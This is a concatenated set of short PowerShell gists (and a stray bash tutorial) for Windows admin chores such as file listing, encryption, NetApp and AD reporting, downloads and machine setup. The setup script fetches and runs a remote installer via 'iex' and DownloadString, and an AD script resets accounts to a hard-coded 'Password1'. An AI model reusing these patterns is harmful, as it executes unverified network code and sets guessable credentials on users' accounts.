AndrewBarfield_2552137_raw_8ba014520ad3b3d8ea5efad4375b3ee7bbd51fd8_gistfile1.ps1
cls # Change the current directory to the System folder cd C:\Windows\System32\ # Display all executable files along with their file description get-childitem * -include *.exe | foreach-object { "{0}, {1}" -f $_.Name, [System.Diagnostics.FileVersionInfo]::GetVersionInfo($_).FileDescription }
PowerShellCorpus/GithubGist/william-gross_9532779_raw_5847e92224a064daeb6168138112d26d625092ac_ewlsync.ps1
william-gross_9532779_raw_5847e92224a064daeb6168138112d26d625092ac_ewlsync.ps1
cd enterprise-web-library git pull https://enduracode.kilnhg.com/Code/Ewl/Group/Canonical.git git push origin
PowerShellCorpus/GithubGist/fengyitsai_6948146_raw_f2307cb5e4d7d7c73c51162e35bfe5a763345b2d_gistfile1.ps1
fengyitsai_6948146_raw_f2307cb5e4d7d7c73c51162e35bfe5a763345b2d_gistfile1.ps1
#!/bin/bash # if else if [ 2 = 1 ] ; then echo "2=1" elif [ 2 = 3 ] ; then echo "2=3" else echo "else" fi # for loop for word in "aaa" "bbb" "ccc" "ddd" do echo $word done # while loop i=0 while [ $i -lt 5 ] ; do echo $i ((i++)) done # until loop i=0 until [ $i -gt 4 ] ; do echo $i ((i++)) done # switch echo "press a key" read key case "$key" in [A-Z]) echo "Upper";; [a-z]) echo "Lower";; [0-9]) echo "Number";; *) echo "others" esac # list all file for i in * do if [ -f "$i" ] ; then echo "$i is a regular file" elif [ -d "$i" ] ; then echo "$i is a directory" fi done function check() { if [ -f "$1" ] ; then echo "$i is a regular file" elif [ -d "$1" ] ; then echo "$i is a directory" fi } for i in * do check $i done
PowerShellCorpus/GithubGist/kobikun_9735949_raw_565c0b4f73cee915413cdabac1a6a5dbebbb4a30_gistfile1.ps1
kobikun_9735949_raw_565c0b4f73cee915413cdabac1a6a5dbebbb4a30_gistfile1.ps1
$ head eng.examples ! It's his pet theory. "'And next?' I cried, and would have turned on, but the cool hand of the grave woman delayed me. "'I've made a great sacrifice,' I told the whip as I got in. "'Next?' I insisted, and struggled gently with her hand, pulling up her fingers with all my childish strength, and as she yielded and the page came over she bent down upon me like a shadow and kissed my brow. "A boy is a creature of odd feelings. "A divo'ce," repeated Ransie, with a solemn nod. "A man killed." "A man less brave would have changed his plans about the camp-bed at once and said, "For you, my dear man, of course--why not?" Constantine chattered nervously as he took his seat in the car next to his host, the driver. "A million times more--a million times more," thought Constantine hysterically, but with an effort he said nothing. $ cat eng.examples | sed -e 's/ /\n/g' | head ! It's his pet theory. "'And next?' I cried, and $ cat eng.examples | sed -e 's/ /\n/g' | sort | head €100 €20 \1,000,000, \1,000,000. \10, \10, \10, \10, \10,000 \10,000 $ cat eng.examples | sed -e 's/ /\n/g' | sort | uniq -c | head 1 €100 1 €20 1 \1,000,000, 1 \1,000,000. 4 \10, 3 \10,000 1 \10,000,000 1 \10,000,000. 1 \100, 1 \100,000-a-month $ cat eng.examples | sed -e 's/ /\n/g' | sort | uniq -c | sort -rn | head 335954 the 243861 to 230664 a 214451 I 167194 you 129626 of 109477 is 105941 in 84601 for 84549 and
PowerShellCorpus/GithubGist/grenade_9073300_raw_26bf771e836cdcd683deb2925fcd63e5ef0c3bbf_poke.ps1
grenade_9073300_raw_26bf771e836cdcd683deb2925fcd63e5ef0c3bbf_poke.ps1
param ( [hashtable] $pokes, [string] $config ) $xml = (Get-Content $config) -as [xml] foreach($xpath in $($pokes.Keys)){ $xml.SelectSingleNode($xpath).set_InnerXML($pokes[$xpath]) } $xml.Save($config)
PowerShellCorpus/GithubGist/t-mat_ea63944c2f8b7b1d4212_raw_198e75cd4361711c721d33641a1811d18c931871_ftl-resource-unpacker.ps1
t-mat_ea63944c2f8b7b1d4212_raw_198e75cd4361711c721d33641a1811d18c931871_ftl-resource-unpacker.ps1
<# /* powershell .\ftl-resource-unpacker.ps1 'C:\Program Files (x86)\Steam\steamapps\common\FTL Faster Than Light\resources\resource.dat' .\output +0 int32 N:number of files +4 int32 O[0]:offset of file #0 +8 int32 O[1]:offset of file #1 ... +N*4 int32 O[N-1]:offset of file #N-1 ... +O[0]+0 int32 S:file image length in bytes +O[0]+4 int32 L:file name length in bytes +O[0]+8 int8[L] File name (without 0x00 ending) +O[0]+8+L int8[S] Binary file image */ #> Add-Type -Type @" //" using System; using System.IO; namespace FtlUnofficialTools { public static class ResourceUnpacker { public static void Unpack(string[] args) { string inputFilename = args[0]; string outputBaseDir = args[1]; BinaryReader br = new BinaryReader(File.Open(inputFilename, FileMode.Open)); int nFile = br.ReadInt32(); int[] offsets = new int[nFile]; { byte[] offsetsImage = br.ReadBytes(nFile * 4); Buffer.BlockCopy(offsetsImage, 0, offsets, 0, offsetsImage.Length); } foreach (int offset in offsets) { int bodylen = br.ReadInt32(); int namelen = br.ReadInt32(); byte[] name = br.ReadBytes(namelen); byte[] body = br.ReadBytes(bodylen); string filename = System.Text.Encoding.UTF8.GetString(name); filename = Path.Combine(outputBaseDir, filename); { string dirname = Path.GetDirectoryName(filename); if(! string.IsNullOrEmpty(dirname) && ! Directory.Exists(dirname)) { Directory.CreateDirectory(dirname); } } Console.WriteLine(filename); File.WriteAllBytes(filename, body); } } public static void Main(string[] args) { Unpack(args); } } } "@ #" # end Add-Type $inputFilename = "resource.dat" $outputBaseDir = "__unpacked__resource.dat" [FtlUnofficialTools.ResourceUnpacker]::Main(@($inputFilename, $outputBaseDir))
PowerShellCorpus/GithubGist/jokcofbut_5019836_raw_633279257115ba2119bd1c5e9ffb5b49418348f2_UpdateToSpecificLiveVersionOfAPackage_Solution.ps1
jokcofbut_5019836_raw_633279257115ba2119bd1c5e9ffb5b49418348f2_UpdateToSpecificLiveVersionOfAPackage_Solution.ps1
Update-Package -Id MyPackage -Source "MyRepo" -Version 1.0.12275.1
PowerShellCorpus/GithubGist/DosAmp_5949399_raw_f55a021d3eb0700a107015d7f07629ca6dccca96_gpgwrapper.ps1
DosAmp_5949399_raw_f55a021d3eb0700a107015d7f07629ca6dccca96_gpgwrapper.ps1
$gpgid = "DEADBEEF" # recipient ID (hex/email) # add full path to binaries if needed $gpgcommand = "gpg2" $7zcommand = "7z" foreach ($file in $args) { $source = Get-Item -ErrorAction:SilentlyContinue $file if ($source) { if (-not $source.PSIsContainer) { # file encryption/decryption if ($source.Name.ToLower().EndsWith(".gpg")) { # file decryption $target = $source.FullName.Substring(0, $source.FullName.Length - 4) & $gpgcommand "--decrypt" "--yes" "--output" $target $source } else { # file encryption $target = $source.FullName + ".gpg" & $gpgcommand "--encrypt" "--sign" "--recipient" $gpgid "--output" $target $source } } else { # compress directory to temporary zip file $tmpzipfile = [IO.Path]::GetTempPath() + [IO.Path]::GetRandomFileName() & $7zcommand "a" "-tzip" "-mx=9" $tmpzipfile $source # encrypt zip file $target = $source.FullName + ".zip.gpg" & $gpgcommand "--encrypt" "--sign" "--recipient" $gpgid "--compress-level" "0" ` "--output" $target $tmpzipfile Remove-Item -Force $tmpzipfile } } }
PowerShellCorpus/GithubGist/thorade_f922e4671d2b67dd55df_raw_9f247986b53de686ab39a7ceb6c53dc839e7f5cd_eps2pdf.ps1
thorade_f922e4671d2b67dd55df_raw_9f247986b53de686ab39a7ceb6c53dc839e7f5cd_eps2pdf.ps1
# This PowerShell script converts all eps files in all subfolders to pdf files $curDir = Split-Path -Parent $MyInvocation.MyCommand.Path $epsFiles = Get-ChildItem -Recurse $curDir\*.eps $texBin = "${env:ProgramFiles(x86)}\MiKTeX 2.9\miktex\bin" Set-Alias eps2pdf $texBin\epstopdf.exe ForEach ($file In $epsFiles){ eps2pdf $file }
PowerShellCorpus/GithubGist/espennilsen_8054395_raw_cf6d38c01ecc7ec4ea3e354e0749a420b50fa3e6_netapp_volume_report.ps1
espennilsen_8054395_raw_cf6d38c01ecc7ec4ea3e354e0749a420b50fa3e6_netapp_volume_report.ps1
# ----------------------------------------------------------------------------- # Script: netapp_volume_report.ps1 # Author: @espennilsen # Date: 12/30/2013 # Keywords: volume, report # comments: Creates report of all volumes on a netapp controller # # ----------------------------------------------------------------------------- param( [Parameter(Mandatory=$true,ValueFromPipeline=$True,HelpMessage="Enter the FQDN of your NetApp 7-MODE Controller")] $Controller, [Parameter(Mandatory=$true,ValueFromPipeline=$True,HelpMessage="Enter the Username for Accessing the Controller")] $UserName, [Parameter(Mandatory=$true,ValueFromPipeline=$True,HelpMessage="Enter the Password for Accessing the Controller")] $Password ) Import-Module DataONTAP -ErrorAction SilentlyContinue $ControllerPassword = ConvertTo-SecureString -String $Password -AsPlainText -force $ControllerCredential = New-Object System.Management.Automation.PsCredential($UserName,$ControllerPassword) $Location = ".\volume reports\" #Create $Location if it doesn't exist if(!(Test-Path -Path $Location )){ New-Item -ItemType directory -Path $Location } Foreach ($filer in $controller) { Connect-NaController -Name $filer -Credential $ControllerCredential Write-Verbose "Collecting Volume Information for $filer" -Verbose Get-NaVol | Select @{Name="VolumeName";Expression={$_.name}},@{Name="TotalSize(GB)";Expression={[math]::Round([decimal]$_.SizeTotal/1gb,2)}},@{Name="AvailableSize(GB)";Expression={[math]::Round([decimal]$_.SizeAvailable/1gb,2)}},@{Name="UsedSize(GB)";Expression={[math]::Round([decimal]$_.SizeUsed/1gb,2)}},@{Name="SnapshotBlocksReserved(GB)";Expression={[math]::Round([decimal]$_.SnapshotBlocksReserved/1gb,2)}}` ,SnapshotPercentReserved,Aggregate,IsDedupeEnabled,type,DiskCount,RaidStatus,Autosize,ChecksumStyle,state | Export-Csv $Location\$(get-date -f yyyy-MM-dd)-$filer-volumes.csv -Delimiter ";" -Force -NoTypeInformation -Verbose Write-Verbose "Completed Collecting Volume Information for $filer" -Verbose }
PowerShellCorpus/GithubGist/ttkwd_9884556_raw_220c011b5e01c9ec709f4d59350bf04b3cbab14d_gui_test.ps1
ttkwd_9884556_raw_220c011b5e01c9ec709f4d59350bf04b3cbab14d_gui_test.ps1
[System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") ######################################## # # メイン # ######################################## function main() { try { $form = mainForm [System.Windows.Forms.Application]::Run($form) } catch [Exception] { [System.Windows.Forms.MessageBox]::Show($_.Exception.ToString()) } } ######################################## # # メインフォーム # ######################################## function mainForm() { $form = New-Object System.Windows.Forms.Form $label1 = New-Object System.Windows.Forms.Label $textBox1 = New-Object System.Windows.Forms.TextBox $button1 = New-Object System.Windows.Forms.Button $button2 = New-Object System.Windows.Forms.Button #*************************************** # # 画面 ロード # #*************************************** $form_Load = { $textBox1.Text = "テストです" $form.ActiveControl = $button1 }.GetNewClosure() #*************************************** # # ボタン1 クリック # #*************************************** $button1_Click = { [System.Windows.Forms.MessageBox]::Show($textBox1.Text) }.GetNewClosure() #*************************************** # # ボタン2 クリック # #*************************************** $button2_Click = { $form.Close() }.GetNewClosure() #*************************************** # # 初期処理 # #*************************************** $initialize = { #フォーム自体 $form.Size = New-Object System.Drawing.Size(300, 200) $form.StartPosition = "CenterScreen" $form.Text = "テストフォーム" $form.add_Load($form_Load) #ラベル1 $label1.Location = New-Object System.Drawing.Size(10, 13) $label1.Size = New-Object System.Drawing.Size(50, 20) $label1.Text = "入力欄" $form.Controls.Add($label1) #テキストボックス1 $textBox1.Location = New-Object System.Drawing.Size(60, 10) $textBox1.Size = New-Object System.Drawing.Size(100, 20) $form.Controls.Add($textBox1) #ボタン1 $button1.Location = New-Object System.Drawing.Size(10, 40) $button1.Size = New-Object System.Drawing.Size(60, 20) $button1.Text = "表示" $button1.add_Click($button1_Click) $form.Controls.Add($button1) #ボタン2 $button2.Location = New-Object System.Drawing.Size(80, 40) $button2.Size = New-Object System.Drawing.Size(60, 20) $button2.Text = "終了" $button2.add_Click($button2_Click) $form.Controls.Add($button2) }.GetNewClosure() &$initialize return $form } main
PowerShellCorpus/GithubGist/t0yv0_554136_raw_2a7088a4723e9f1cb47f4f82d1e154e70de1923f_wget.ps1
t0yv0_554136_raw_2a7088a4723e9f1cb47f4f82d1e154e70de1923f_wget.ps1
# Downloads a file from a given URL to the current directory. function wget($url) { $path = $url.Substring($url.LastIndexOf('/') + 1) $dir = pwd $location = [System.IO.Path]::Combine($dir, $path) $client = new-object System.Net.WebClient $client.DownloadFile($url, $location); }
PowerShellCorpus/GithubGist/anderssonjohan_4575105_raw_02dbab6dd0031d19bddbbc175a8f4e04b1cb0343_Install-ARRFromWeb.ps1
anderssonjohan_4575105_raw_02dbab6dd0031d19bddbbc175a8f4e04b1cb0343_Install-ARRFromWeb.ps1
param( [parameter(mandatory=$true, valuefrompipeline=$true)] $TargetHost, [switch] $force ) begin { $packages = @( ` @{ Name = "rewrite.msi"; Url = "http://download.microsoft.com/download/6/7/D/67D80164-7DD0-48AF-86E3-DE7A182D6815/rewrite_2.0_rtw_x64.msi" }, ` @{ Name = "webpi.msi"; Url = "http://download.microsoft.com/download/B/0/0/B00FEF21-79DE-48B0-8731-F9CFE70CE613/WebPlatformInstaller_3_10_amd64_en-US.msi" }, ` @{ Name = "webfarm.msi"; Url = "http://download.microsoft.com/download/3/4/1/3415F3F9-5698-44FE-A072-D4AF09728390/webfarm_amd64_en-US.msi" }, ` @{ Name = "arr.msi"; Url = "http://download.microsoft.com/download/A/A/E/AAE77C2B-ED2D-4EE1-9AF7-D29E89EA623D/requestRouter_amd64_en-US.msi" }, ` @{ Name = "extcache.msi"; Url = "http://download.microsoft.com/download/3/4/1/3415F3F9-5698-44FE-A072-D4AF09728390/ExternalDiskCache_amd64_en-US.msi" } ` ) Push-Location $env:TEMP function download( $url, $filename ) { if(!(Test-Path $filename) -or $force) { curl -o $filename $url if( $LASTEXITCODE -ne 0 -or !(Test-Path $filename) ) { Pop-Location throw "Failed to download $url to $filename" exit 1 } } } Write-Host "Downloading MSI packages..." $packages | %{ Write-Host ("Downloading MSI package: {0}" -f $_.Name) download $_.Url $_.Name } } process { $remotePackageDir = join-path $targetHost.ScriptSharePath "\" $packageNames = $packages | %{ $_.Name } Write-Host "Copying packages to server: $packageNames" $packageNames | cp -Destination $remotePackageDir Write-Host "Done. Performing installation..." $Session = $targetHost.Connect() Invoke-Command -Session $Session -ArgumentList $packageNames -ScriptBlock { if( Get-Service was ) { Write-Host "Stopping IIS and WAS..." Stop-Service was -Force } Push-Location $targetHost.ScriptShareLocalPath $args | %{ Write-Host "Installing MSI package: $_" $exitCode = (Start-Process -FilePath "msiexec" -ArgumentList "/q /i $_ /L*v install.log" -PassThru -Wait).ExitCode if( $exitCode -ne 0 ) { Pop-Location throw "MSIEXEC exited $exitCode Failed to install $_" exit 1 } rm $_ } Pop-Location if( Get-Service was ) { Start-Service was,w3svc -Verbose } } if( $? ) { Write-Host "ARR installed!" } else { cp $remotePackageDir\install.log -Verbose gc install.log | ?{ $_ -match "error|fail|requisite" } } } end { Pop-Location }
PowerShellCorpus/GithubGist/chipitsine_0735bfa08310597f9da8_raw_bf6727a1fce67eb6da1fae29d1e464f1a04962a6_gistfile1.ps1
chipitsine_0735bfa08310597f9da8_raw_bf6727a1fce67eb6da1fae29d1e464f1a04962a6_gistfile1.ps1
#requires -version 4 cls ipmo VirtualMachineManager get-scvirtualmachine | % { [String] $vm = $_.Name ($_.VirtualNetworkAdapters).Where({$_.MACAddressType -eq 'Dynamic'},'First') | % { Write-Host $vm } }
PowerShellCorpus/GithubGist/kouphax_1150025_raw_e50dd2219a77b79d5f8723f1ee323b4f81af82a1_default.ps1
kouphax_1150025_raw_e50dd2219a77b79d5f8723f1ee323b4f81af82a1_default.ps1
# Run the project tests Task Test { }
PowerShellCorpus/GithubGist/thorade_b05f2da5a5d258253af0_raw_83ea8cc92808690e44f0f7fe8af7aa810fafd28c_normalizeEOLF.ps1
thorade_b05f2da5a5d258253af0_raw_83ea8cc92808690e44f0f7fe8af7aa810fafd28c_normalizeEOLF.ps1
# This PowerShell Script will recursively scan all files in the given $scanDir # and normalize the EOF by removing unnecessary whitespace and adding an EOL character to the last line of text # Additionally, the script can normalize every EOL by trimming the trailing white space cls; $scanDir = "BuildingSystems" $normalizeEOL = $FALSE # get current directory, build scanPath $curPath = Split-Path -Parent $MyInvocation.MyCommand.Path $scanPath = $curPath + "\" + $scanDir # use the same extensions for text files as specified in .gitattributes, in alphabetical order $textFiles = Get-ChildItem -Recurse $scanPath -include *.h,*.mo,*.mos,*.order,*.txt -exclude *.csv,*.dat,*.md # iterate through textFiles ForEach ($file In $textFiles){ # get content of each file $fileContent = Get-Content $file # count the lines $fileLineNumber = $fileContent.Count # if file has one line only if($fileLineNumber -eq 1){$fileContent = $fileContent.trimEnd()} else{# file has more than 1 line # if normalizeEOL, iterate through lines, trim each line if($normalizeEOL){ for($i=0; $i -lt $fileLineNumber; $i++){$fileContent[$i] = $fileContent[$i].trimEnd()} } # while last line is empty or contains white space only, decrease fileLineNumber and copy back fileContent without last line while([string]::IsNullOrWhitespace($fileContent[$fileLineNumber-1])){ $fileLineNumber-- $fileContent = $fileContent[0..($fileLineNumber-1)] } } # write back modified fileContent to file Set-Content $file $fileContent }
PowerShellCorpus/GithubGist/snobu_0f7dce7726782c02f616_raw_b5b25ce52ca2faf4e17b7c45620d57e5d4ff8298_gistfile1.ps1
snobu_0f7dce7726782c02f616_raw_b5b25ce52ca2faf4e17b7c45620d57e5d4ff8298_gistfile1.ps1
PS> Get-Net6to4Configuration Description : 6to4 Configuration State : Disabled AutoSharing : Default RelayName : 6to4.ipv6.microsoft.com. RelayState : Default ResolutionIntervalSeconds : 1440
PowerShellCorpus/GithubGist/9point6_a622c87ea8e72339c9cd_raw_eeb1e15b72db1a4a9d7088f8c48635a64bc34d78_Microsoft.PowerShell_profile.ps1
9point6_a622c87ea8e72339c9cd_raw_eeb1e15b72db1a4a9d7088f8c48635a64bc34d78_Microsoft.PowerShell_profile.ps1
if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { $bckgrnd = "DarkRed" $shellchar = "#" } else { $bckgrnd = "DarkBlue" $shellchar = "$" } $Host.UI.RawUI.BackgroundColor = $bckgrnd $Host.UI.RawUI.ForegroundColor = 'White' $Host.PrivateData.ErrorForegroundColor = 'Red' $Host.PrivateData.ErrorBackgroundColor = $bckgrnd $Host.PrivateData.WarningForegroundColor = 'Magenta' $Host.PrivateData.WarningBackgroundColor = $bckgrnd $Host.PrivateData.DebugForegroundColor = 'Yellow' $Host.PrivateData.DebugBackgroundColor = $bckgrnd $Host.PrivateData.VerboseForegroundColor = 'Green' $Host.PrivateData.VerboseBackgroundColor = $bckgrnd $Host.PrivateData.ProgressForegroundColor = 'Cyan' $Host.PrivateData.ProgressBackgroundColor = $bckgrnd Clear-Host Set-Alias sublime 'C:\Program Files\Sublime Text 3\sublime_text.exe' # Enable Modules Import-Module Posh-Git Import-Module 'C:\bin\oneget\OneGet.psd1' function prompt { $realLASTEXITCODE = $LASTEXITCODE if ($?) { $color = "Green" } else { $color = "Red" } $dir = $(pwd).path if ($dir.length -gt 30) { $dir = $(Split-Path -leaf -path (Get-Location)) } Write-Host ("[" + $(Get-Date -UFormat %H:%M) + "]") -nonewline -foregroundcolor Magenta Write-Host ("[" + $(@(Get-History).count) + "]") -nonewline -foregroundcolor Cyan Write-Host ("[" + $(@(get-job).count) + "]") -nonewline -foregroundcolor Yellow Write-Host ("[$Env:username@$Env:COMPUTERNAME]") -nonewline -foregroundcolor DarkCyan Write-VcsStatus # Posh-Git Invoke-Expression 'Write-Host ("`n[$dir] PS$shellchar") -nonewline -foregroundcolor $color' $global:LASTEXITCODE = $realLASTEXITCODE return " " } # Post-Git Enable-GitColors Pop-Location Start-SshAgent -Quiet
PowerShellCorpus/GithubGist/jongalloway_935780_raw_55784163ca3cc72ce036fc4fc61037995b6f5d48_Channel9Downloader.ps1
jongalloway_935780_raw_55784163ca3cc72ce036fc4fc61037995b6f5d48_Channel9Downloader.ps1
# --- settings --- $feedUrl = "http://s.ch9.ms/Events/Build/2014/RSS/" $mediaType = "mp4high" $overwrite = $false $destinationDirectory = join-path ([Environment]::GetFolderPath("MyDocuments")) "Build14Video" # --- locals --- $webClient = New-Object System.Net.WebClient # --- functions --- function PromptForInput ($prompt, $default) { $selection = read-host "$prompt`r`n(default: $default)" if ($selection) {$selection} else {$default} } function DownloadEntries { param ([string]$feedUrl) $feed = [xml]$webClient.DownloadString($feedUrl) $progress = 0 $pagepercent = 0 $entries = $feed.rss.channel.item.Length $invalidChars = [System.IO.Path]::GetInvalidFileNameChars() $feed.rss.channel.item | foreach { $url = New-Object System.Uri($_.enclosure.url) $name = $_.title $extension = [System.IO.Path]::GetExtension($url.Segments[-1]) $fileName = $name + $extension $invalidchars | foreach { $filename = $filename.Replace($_, ' ') } $saveFileName = join-path $destinationDirectory $fileName $tempFilename = $saveFilename + ".tmp" $filename if ((-not $overwrite) -and (Test-Path -path $saveFileName)) { write-progress -activity "$fileName already downloaded" -status "$pagepercent% ($progress / $entries) complete" -percentcomplete $pagepercent } else { write-progress -activity "Downloading $fileName" -status "$pagepercent% ($progress / $entries) complete" -percentcomplete $pagepercent $webClient.DownloadFile($url, $tempFilename) rename-item $tempFilename $saveFileName } $pagepercent = [Math]::floor((++$progress)/$entries*100) } } # --- do the actual work --- [string]$feedUrl = PromptForInput "Enter feed URL" $feedUrl [string]$mediaType = PromptForInput "Enter media type`r`n(options:Wmv,WmvHigh,mp4,mp4high,zune,mp3)" $mediaType $feedUrl += $mediaType [string]$destinationDirectory = PromptForInput "Enter destination directory" $destinationDirectory # if dest dir doesn't exist, create it if (!(Test-Path -path $destinationDirectory)) { New-Item $destinationDirectory -type directory } DownloadEntries $feedUrl
PowerShellCorpus/GithubGist/absolutejam_5ca7153cf5e639bd1cc3_raw_257186a6043e059539d8d34ec74e3a176f9d32d9_UnlockUserAccount.ps1
absolutejam_5ca7153cf5e639bd1cc3_raw_257186a6043e059539d8d34ec74e3a176f9d32d9_UnlockUserAccount.ps1
# Requirements: # Install RSAT on client and then 'Add / Remove Windows Features', install AD Powershell. # http://www.microsoft.com/en-us/download/details.aspx?id=7887 #-------------------------------------------------------------------------------- # Edit me! $Password = 'Password1' #-------------------------------------------------------------------------------- # Import the AD module - Requires RSAT Import-Module ActiveDirectory # Convert the password to a secure password we can use $SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force # Prompt for credentials (I suggest using sysman) $UserCredentials = Get-Credential # Ask the user what AD user they wish to affect $UserToUnlock = Read-Host -Prompt 'Which user do you wish to unlock?' # Find this user and save it to variable $UserAccount = Get-ADUser $UserToUnlock # Unlock the account Unlock-ADAccount -Identity $UserAccount -Credential $UserCredentials Write-host ' ' # If the last command was successful (No errors)... if ($?) { Write-Host 'User account unlocked' } Write-host ' ' # And reset the password Set-ADAccountPassword -Identity $UserAccount -NewPassword $SecurePassword -Credential $UserCredentials # If the last command was successful (No errors)... if ($?) { Write-Host 'Password reset to Password1' } Write-host ' ' # Require user to press a key to quit PowerShell.exe -command { read-host "Press enter key to exit" }
PowerShellCorpus/GithubGist/michaellwest_1db258e206beea164e5b_raw_f5300c421523906139163fa268e59ee975a2d36e_Delete%20unused%20media%20items%20older%20than%2030%20days.ps1
michaellwest_1db258e206beea164e5b_raw_f5300c421523906139163fa268e59ee975a2d36e_Delete%20unused%20media%20items%20older%20than%2030%20days.ps1
<# .SYNOPSIS Moves items to the recycle bin which are more than 30 days old and have no references. .NOTES Michael West #> filter Skip-MissingReference { $linkDb = [Sitecore.Globals]::LinkDatabase if($linkDb.GetReferrerCount($_) -eq 0) { $_ } } $date = [datetime]::Today.AddDays(-30) $items = Get-ChildItem -Path "master:\sitecore\media library" -Recurse | Where-Object { $_.TemplateID -ne [Sitecore.TemplateIDs]::MediaFolder } | Where-Object { $_.__Owner -ne "sitecore\admin" -and $_.__Updated -lt $date } | Skip-MissingReference if($items) { Write-Log "Removing $($items.Length) item(s) older than 30 days." $items | Remove-Item }
PowerShellCorpus/GithubGist/gravejester_cb61ed94d2783dae5fe1_raw_9c4be9283a44323302bc78923088217b6a44158a_Get-RDPSession.ps1
gravejester_cb61ed94d2783dae5fe1_raw_9c4be9283a44323302bc78923088217b6a44158a_Get-RDPSession.ps1
# Get-RDPSession.ps1 # Øyvind Kallstad //2012 # Note: borrowed code from http://poshcode.org/3062 #Requires -Version 2 [CmdletBinding()] param( [Parameter(ValueFromPipeline = $true, ValueFromPipelinebyPropertyName = $true)] [string[]]$ComputerName = $env:COMPUTERNAME, [Parameter()] [string]$UserName ) BEGIN { # check that qwinsta.exe is present $windir = $env:windir if (!(Test-Path $windir\System32\qwinsta.exe)){ Write-Host "qwinsta.exe not found" break } Write-Verbose $UserName $output = @() } PROCESS { foreach ($computer in $ComputerName){ Write-Verbose $computer # make an empty temporary object $tmp = New-Object PSObject -Property @{ "SessionName" = 0 "UserName" = 0 "ID" = 0 "State" = 0 "Type" = 0 "Device" = 0 } # run qwinsta to get session data if ($UserName){ $queryResult = (qwinsta $UserName /server:$computer) } else{ $queryResult = (qwinsta /server:$computer) } # run through every line and storing the indexes of each "column" in the output foreach ($line in $queryResult){ if($line.Trim().Substring(0, $line.Trim().IndexOf(" ")) -eq "SESSIONNAME"){ $tmp.UserName = $line.IndexOf("USERNAME") $tmp.ID = $line.IndexOf("ID") $tmp.State = $line.IndexOf("STATE") $tmp.Type = $line.IndexOf("TYPE") $tmp.Device = $line.IndexOf("DEVICE") continue } # build the output object, using the indexes of the tmp object and some magic to correctly format the data $output += New-Object PSObject -Property @{ "SessionName" = $line.Trim().Substring(0, $line.Trim().IndexOf(" ")).Trim(">") "UserName" = $line.Substring($tmp.UserName, $line.IndexOf(" ", $tmp.UserName) - $tmp.Username) "ID" = $line.Substring($line.IndexOf(" ", $tmp.UserName), $tmp.ID - $line.IndexOf(" ", $tmp.Username) + 2).Trim() "State" = $line.Substring($tmp.State, $line.IndexOf(" ", $tmp.State) - $tmp.State).Trim() "Type" = $line.Substring($tmp.Type, $tmp.Device - $tmp.Type).Trim() "Device" = $line.Substring($tmp.Device).Trim() "ComputerName" = $computer } } } } END {Write-Output $output}
PowerShellCorpus/GithubGist/sandrinodimattia_3645264_raw_7a70ef549115d46f8118b32dab44d12aa44fcf9e_gistfile1.ps1
sandrinodimattia_3645264_raw_7a70ef549115d46f8118b32dab44d12aa44fcf9e_gistfile1.ps1
param([string]$ConnectionString = $(throw "The ConnectionString parameter is required."), [string]$DatabaseName = $(throw "The DatabaseName parameter is required."), [string]$OutputFile = $(throw "The OutputFile parameter is required."), [string]$SqlInstallationFolder = "C:\Program Files (x86)\Microsoft SQL Server") # Load DAC assembly. $DacAssembly = "$SqlInstallationFolder\110\DAC\bin\Microsoft.SqlServer.Dac.dll" Write-Host "Loading Dac Assembly: $DacAssembly" Add-Type -Path $DacAssembly Write-Host "Dac Assembly loaded." # Initialize Dac service. $now = $(Get-Date).ToString("HH:mm:ss") $Services = new-object Microsoft.SqlServer.Dac.DacServices $ConnectionString if ($Services -eq $null) { exit } # Start the actual export. Write-Host "Starting backup at $DatabaseName at $now" $Watch = New-Object System.Diagnostics.StopWatch $Watch.Start() $Services.ExportBacpac($OutputFile, $DatabaseName) $Watch.Stop() Write-Host "Backup completed in" $Watch.Elapsed.ToString()
PowerShellCorpus/GithubGist/CombustibleLemon_977f9c39fd777ad42b76_raw_74cfca56daf75ac5b0e1b6790535ef0c7d0ad341_SetupNewComputer.ps1
CombustibleLemon_977f9c39fd777ad42b76_raw_74cfca56daf75ac5b0e1b6790535ef0c7d0ad341_SetupNewComputer.ps1
#ChangeAdminSettings InstallAdminStuff ##### # # ##### ##### ##### # # ##### ##### # # ##### ##### # ## # # # # # # # # # # # # # # # # # ##### # ##### # # ##### # # # ##### ##### # # ## # # # # # # # # # # # # ##### # # ##### # # # ##### ##### ##### # ##### # # function InstallAdminStuff { # Install Chocolatey iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1')) # Install msysGit choco install git.install # Install GitHub For Windows choco install githubforwindows # Install Java Runtime choco install javaruntime # Install WinRAR choco install winrar # Install Chromium choco install chromium # Install VLC choco install vlc # Install Skype choco install skype # Install Node.js choco install nodejs # Install Vim choco install vim # Install Atom choco install atom # Install Sublime Text 3 choco install sublimetext3 # Install PuTTY choco install putty.install # Install Wget choco install wget # Install iTunes choco install itunes # Install Popcorn Time choco install popcorntime # Install qBittorrent choco install qbittorrent } ##### ##### ##### ##### ##### # # ##### ##### # # # # # ## # # # ##### ##### # # # # # # # ## ##### # # # # # # ## # # # ##### ##### # # ##### # # ##### ##### function ChangeAdminSettings { # Change registered owner $name = Read-Host "What is your name?" $org = Read-Host "What is the name of your organization?" Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name "RegisteredOwner" -Value $name Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name "RegisteredOrganization" -Value $org # Fast Aero Taskbar Thumbnails New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\kbdhid\Parameters" -Name "ExtendedUIHoverTime" -Value 1 -PropertyType "DWORD" # Show Windows Store apps on the taskbar Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "StoreAppsOnTaskbar" -Value 1 # CrashOnCtrlScroll New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\kbdhid\Parameters" -Name "CrashOnCtrlScroll" -Value 1 -PropertyType "DWORD" # "Libraries" on the Desktop New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" -Name "{031E4825-7B94-4dc3-B131-E946B44C8DD5}" -Value 0 -PropertyType "DWORD" }
